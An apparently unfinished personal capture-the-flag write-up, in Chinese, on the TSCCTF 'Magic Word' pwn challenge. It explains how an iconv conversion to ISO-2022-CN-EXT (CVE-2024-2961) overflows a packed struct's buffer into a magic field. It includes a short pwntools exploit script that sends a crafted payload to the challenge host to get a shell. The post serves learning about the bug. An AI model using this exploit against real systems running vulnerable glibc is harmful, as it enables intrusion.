前言h2
這是我第一次打 TSCCTF,這應該是辦給大學生打的 CTF,不過有公開組就來體驗一下,最後也是打到第 13 名。雖然有些題目是 AI 打出來的,但是也讓我學到很多!
Pwnh2
Magic Wordh3
程式讀取一行字串後會呼叫
iconv_open("ISO-2022-CN-EXT", "UTF-8");iconv(cd, &inptr, &inlen, &outptr, &outlen);且輸出 buffer 與 magic 放在同一個 packed struct:
struct { char output[32]; uint32_t magic;} __attribute__((packed)) ctx;最後檢查
if (ctx.magic != 0) win();所以只要讓 ctx.magic 變成非 0 就能進入 win() 拿到 shell。
經過搜尋後發現這其實是 CVE-2024-2961
漏洞原理參考:https://hackmd.io/@yjk930805/HJzCZdtLxx
from pwn import *
context.binary = ELF("./magic_word")context.log_level = "info"
io = remote("172.31.3.2", 40002)
payload = b"A" * 31 + "劄".encode("utf-8")
io.recvuntil(b"Magic word: ")io.sendline(payload)
io.interactive()
writeup 尚未完成
Comments